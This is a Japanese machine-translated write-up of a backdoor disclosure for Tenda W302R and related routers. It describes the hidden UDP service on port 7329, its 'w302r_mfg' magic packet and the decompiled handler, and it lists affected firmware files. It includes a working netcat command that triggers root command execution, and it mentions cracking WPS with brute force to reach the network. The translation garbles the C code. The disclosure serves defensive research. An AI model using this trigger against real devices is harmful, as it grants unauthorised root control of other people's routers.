Tenda W302Rワイヤレスルーターの最新のファームウェアを取得した後、Craig Heffnerは/ bin / httpdを調べることにしました。これはGoAheadのWebサーバーであることが判明しました。
しかし、Tendaには修正されたサーバーがあります。 HTTP受信ループに入る直前に、InitMfgTaskのメインコールは、MfgThread関数を個別のスレッドとして生成します。
最初のMfgThreadはUDPソケットを作成し、ポート7329でリッスンします。
次に、ストリームはrecvfromループに入り、ソケットから128バイトを読み取ります。 14バイト長のすべての受信UDPパケットをリッスンします。
次に、受信したUDPパケットは次のコードで処理されます。
同じCコードの例:
memset(rx_magic_string、0、0x80); memset(command_byte、0、0x80); memset(command_arg、0、0x80); memcpy(rx_magic_string、rx_buf、9); command_byte [0] = rx_buf [11]; memcpy(command_arg、rx_buf + 12、rx_size-12); //マジックストリングが一致しない場合、このパケットの処理を停止し、別のパケットを待つ if(strcmp(rx_magic_string、 "w302r_mfg")!= 0)goto outer_receive_loop;
ソケットは、次の構造を持つパケットを予期していることがわかります。
struct command_packet_t { char magic [10]; // 9バイトのマジックストリング( "w302r_mfg")、およびNULL終了バイト char command_byte; char command_arg [117]; };
受信パケットが「w302r_mfg」行で始まる場合、コードは指定されたバイトの3つのASCII文字(「1」、「x」、「e」)のコマンドを比較します。
簡単にするために、Cコードの例:
スイッチ(command_byte) { ケース 'e': strcpy(tx_buf、 "w302r_mfg"); tx_size = 9; 休憩; ケース '1': if(strstr(command_arg、 "iwpriv")!= NULL) tx_size = call_shell(command_arg、tx_buf、0x800); 他に strcpy(tx_buf、 "000000"); tx_size = strlen(tx_buf); 休憩; ケース 'x': tx_size = call_shell(command_arg、tx_buf、0x800); 休憩; デフォルト: goto outer_receive_loop; } sendto(client_socket、tx_buf、tx_size、client_sock_addr、16); goto outer_receive_loop;
次の手順は、次のバイトに対応しています。
「E」-ping
'1'-iwprivコマンドを実行できます
'X'-ルートから任意のコマンドを実行できます
「X」がコマンドバイトとして定義されている場合、この文字の後のパケットの残り(上記のコードではいわゆるcommand_arg)はcall_shellに渡され、POPENを介してコマンドが実行されます。
さらに、call_shellはコマンドの出力でtx_bufバッファーを満たします。これは、前のCコードからわかるように、クライアントに送り返されます。
MfgThreadの機能とパッケージ構造がわかっていれば、Netcatを使用してこのバックドアを簡単に再現できます。
$ echo -ne "w302r_mfg \ x00x / bin / ls" | nc -u -q 5 192.168.0.1 7329 drwxr-xr-x 2 0 0 1363 webroot drwxr-xr-x 1 0 0 0 var drwxr-xr-x 5 0 0 43 usr drwxr-xr-x 1 0 0 0 tmp drwxr-xr-x 2 0 0 3 sys drwxr-xr-x 2 0 0 569 sbin dr-xr-xr-x 39 0 0 0 proc drwxr-xr-x 2 0 0 3 mnt drwxr-xr-x 1 0 0 0メディア drwxr-xr-x 4 0 0 821 lib lrwxrwxrwx 1 0 0 11 init-> bin / busybox drwxr-xr-x 2 0 0 3ホーム drwxr-xr-x 7 0 0 154 etc_ro drwxr-xr-x 1 0 0 0など drwxr-xr-x 1 0 0 0 dev drwxr-xr-x 2 1000100574ビン
このパッケージはローカルネットワークからのみ送信できますが、バックドアはグローバルネットワークからは使用できません。 ただし、WPSがデフォルトで有効になっているワイヤレスネットワークの運用は、ブルートフォース保護されていません。 ReaverProは比較的迅速にWPSブルートフォースをハッキングし、ワイヤレスネットワークへのアクセスを提供しました。
このバックドアは、Tenda W330RやMedialink MWN-WAPR150Nなどの同様のモデルにも存在しますが、T302のW302Rで最初に実装される可能性が最も高いです。 これらはすべて、UDPパケットの文字列「w302r_mfg」に対して脆弱です。
更新:
githubへのリンク: ea.github.io/blog/2013/10/18/tenda-backdoor
脆弱性は次のファームウェアの影響を受けます。
301r_v3.1.192_en.bin
W311r_W268R_H1_V3.3.6b_ost_staticR.bin
302r_v3.1.192_en.bin
V3.1.201d_W301R_2010_0709.bin
W368R_H3_V3.3.6h_EN_spi.bin
V3.1.201d_W302R_2010_0709.bin
3gr_H2_V3.3.0y_multi_02.bin
w368r_H1_V3.3.6l_EN.bin
U_W330R_V3.1.201d_tenda_en.bin
W368r_H1_V3.3.6b_ost_staticR.bin
3g611r_en_0607.bin.bin
U_W311R_W268R_H3_V3.3.6h_EN_spi.bin
U_3G611R_H2_V3.3.1e_MULTI_02.bin
US_W268RRA__H3_V3.3.6h_EN_SPI.bin
US_W311RRA__H3_V3.3.6h_EN_SPI.bin
w1500a_kfw_V1.0.1.22_en_svn6227.bin
U150M_V3.32.12_EN.bin
U300M_V3.32.12_EN.bin
U_W302RRA_V3.1.201d_EN.bin
US_N60BRV1_N60_V1.0.0.15_EN.bin
US_N6BRV1_N6_V2.0.0.2_EN.bin
U_W150M_EN_V3.33.13_SPI_EN.bin
U_W300M_EN_V3.33.13_SPI_EN.bin
U_W330R_V3.1.201f_en_onWISP.bin
W330R_V3.1.201d_EN.bin
W311R_H1_V3.3.5o.bin
w311r_H1_V3.3.5n_en.bin
US_N60BRV1_N60_V1.0.0.16_EN.bin
US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin
W311r_H1_V3.3.6b.bin
U268R_H1_V3.3.6d_EN.bin
U311R_H1_V3.3.6d_EN.bin
U150M_RT_EN_V3.32.11.bin
U300M_RT_EN_V3.32.11.bin